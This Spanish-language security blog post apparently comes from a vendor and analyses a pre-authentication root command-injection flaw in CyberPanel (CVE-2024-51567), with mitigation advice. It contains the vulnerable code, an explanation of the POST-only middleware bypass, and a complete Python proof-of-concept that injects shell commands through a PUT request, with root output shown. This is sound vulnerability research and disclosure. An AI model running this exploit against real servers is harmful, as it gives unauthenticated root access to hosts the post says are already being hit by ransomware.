Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Vulnerabilidad de RCE como root previa a la autenticación en CyberPanel: análisis en profundidad del exploit

Un análisis técnico de una vulnerabilidad en CyberPanel, una RCE como root previa a la autenticación, con las rutas de explotación confirmadas, los componentes investigados y los hallazgos de la metodología de investigación.

Introducción

Este artículo ofrece un análisis en profundidad del descubrimiento y la explotación de una vulnerabilidad de ejecución remota de código (RCE) en CyberPanel, una aplicación web basada en Django que se usa para gestionar servicios de alojamiento web como FTP, SSH y SMTP. Este fallo crítico permite a atacantes no autenticados ejecutar comandos arbitrarios como usuario root, lo que plantea importantes problemas de seguridad, sobre todo dado el uso extendido de CyberPanel en servidores VPS.

Nuestra investigación ha revelado que muchas máquinas ya están comprometidas, como demuestra la imagen siguiente, que muestra ransomware en los sistemas afectados.

image.png
Ransomware en sistemas explotados

Por último, este artículo está inspirado en la investigación realizada por DreyAnd, que detalla los aspectos técnicos y los mecanismos de evasión asociados a esta vulnerabilidad.


Actualización a 30 de octubre de 2024

Se han asignado dos CVE junto con un aviso de seguridad de los responsables de CyberPanel. Hay disponible un commit de corrección aquí.

  • CVE-2024-51567:

    • Afecta a upgrademysqlstatus() en databases/views.py.
    • Explotada activamente por PSAUX en octubre de 2024.
    • El problema surge al eludir secMiddleware (activo solo para solicitudes POST) e inyectar metacaracteres de shell en la propiedad statusfile para lograr la ejecución de comandos sin autenticación.
    • Afecta a las versiones hasta la 2.3.6 y a la 2.3.7 sin parchear.
  • CVE-2024-51568:

    • Una vulnerabilidad de inyección de comandos a través del parámetro completePath en el sumidero ProcessUtilities.outputExecutioner().
    • Da lugar a RCE sin autenticación a través de /filemanager/upload.
    • Se explota mediante metacaracteres de shell proporcionados a la ruta de subida del File Manager.
    • Afecta a las versiones anteriores a la 2.3.5.

Resumen de la vulnerabilidad

  • Componente vulnerable: ruta upgrademysqlstatus en CyberPanel v2.3.6.
  • Impacto: RCE sin autenticación con privilegios de root.
  • Tipo de exploit: ejecución remota de código de 0 clics, previa a la autenticación.
  • Causa raíz: comprobaciones de autenticación inadecuadas y uso inseguro de comandos de subproceso.

Recorrido y análisis del código

La ruta upgrademysqlstatus() de la versión vulnerable de CyberPanel aporta información clave sobre cómo se identificó la superficie de ataque. Analicemos la ruta para entender el fallo subyacente.

Función vulnerable: upgrademysqlstatus()

def upgrademysqlstatus(request):
    try:
        data = json.loads(request.body)
        statusfile = data['statusfile']

        # Unsafe execution using user input
        installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")

        if "[200]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
            return HttpResponse(json.dumps(response))

        elif "[404]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
            return HttpResponse(json.dumps(response))

        else:
            response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
            return HttpResponse(json.dumps(response))

    except KeyError:
        return redirect(loadLoginPage)

Problemas de la función upgrademysqlstatus:

  1. Falta de comprobaciones de autenticación:

    • Se puede acceder a la ruta upgrademysqlstatus sin ninguna autenticación. Normalmente, las rutas sensibles deberían verificar la identidad del usuario mediante tokens de sesión o comprobaciones de middleware.
  2. Inyección de comandos:

    • La entrada controlada por el usuario (statusfile) se concatena directamente en un comando de subproceso (sudo cat {statusfile}).
    • La función ejecuta comandos de shell arbitrarios con privilegios de sudo, lo que da lugar a una inyección de comandos.
  3. Evasión del middleware:

    • La aplicación usa secMiddleware para sanear las solicitudes POST. Sin embargo, este middleware solo comprueba la inyección de comandos cuando el método de la solicitud es POST.
    • Esto permite a los atacantes eludir el middleware usando métodos distintos de POST (por ejemplo, PUT u OPTIONS), a la vez que siguen entregando payloads maliciosos a través de request.body.
class secMiddleware:
    HIGH = 0
    LOW = 1

    def get_client_ip(request):
        ip = request.META.get('HTTP_CF_CONNECTING_IP')
        if ip is None:
            ip = request.META.get('REMOTE_ADDR')
        return ip

    def __init__(self, get_response):
        self.get_response = get_response

    ...
    if request.method == 'POST':
        # Security checks are applied only here...
        try:
            data = json.loads(request.body)
            # ...but ignored for non-POST requests.
    ...

Explotación y prueba de concepto

Esta sección muestra cómo explotar la vulnerabilidad eludiendo el middleware e inyectando comandos arbitrarios.

Código del exploit

La siguiente PoC muestra cómo explotar la vulnerabilidad enviando una solicitud PUT para eludir el middleware e inyectar un comando.

import httpx
import sys

def get_CSRF_token(client):
    """Retrieve the CSRF token required for requests."""
    resp = client.get("/")
    return resp.cookies['csrftoken']

def pwn(client, CSRF_token, cmd):
    """Send the malicious command to the vulnerable route."""
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url),
    }

    # Command injection via statusfile parameter
    payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)

    # Bypass middleware by using PUT instead of POST
    response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
    return response.json().get("requestStatus")

def exploit(target, cmd):
    """Main exploit logic."""
    client = httpx.Client(base_url=target, verify=False)
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    while True:
        cmd = input("$> ")
        exploit(target, cmd)

Uso

Ejecutar el exploit:

python exploit.py https://<target-ip>:8090

Inyectar comandos arbitrarios:

$> id
uid=0(root) gid=0(root) groups=0(root)

Mitigación y recomendaciones

Para prevenir vulnerabilidades similares en el futuro, se recomiendan los siguientes pasos:

  1. Middleware de autenticación centralizado:

    • Implemente las comprobaciones de autenticación de forma global, y no a nivel de cada ruta.
  2. Validación de la entrada en todos los métodos:

    • Aplique la validación de la entrada de forma coherente en todos los métodos HTTP.
  3. Evite la ejecución directa de comandos:

    • Use bibliotecas como subprocess.run() de Python con un saneamiento adecuado de las entradas del usuario.
  4. Principio de mínimo privilegio:

    • Evite ejecutar servicios con privilegios de root salvo que sea absolutamente necesario.
  5. Si tiene acceso SSH:

  6. Si no tiene acceso SSH:

    • En algunos casos, el acceso al puerto 22 puede estar restringido por su proveedor, a menudo debido a sobrecargas del servidor o a intentos de intrusión.
    • En ese caso, póngase en contacto con su proveedor y solicite que habilite el puerto 22. Una vez restablecido el acceso, actualice el panel siguiendo las instrucciones proporcionadas.

Conclusión

Esta RCE previa a la autenticación en CyberPanel pone de relieve la importancia de una autenticación integral, una validación de la entrada coherente y un manejo seguro de los comandos de subproceso. Los atacantes pueden explotar fácilmente fallos de lógica sutiles, eludir el middleware y escalar privilegios hasta root, lo que demuestra el impacto devastador de las prácticas de seguridad pasadas por alto. Hasta que el parche se integre por completo en una versión estable, los usuarios deben aplicar el parche de inmediato y restringir el acceso a los endpoints vulnerables.

Etiquetas:

RCE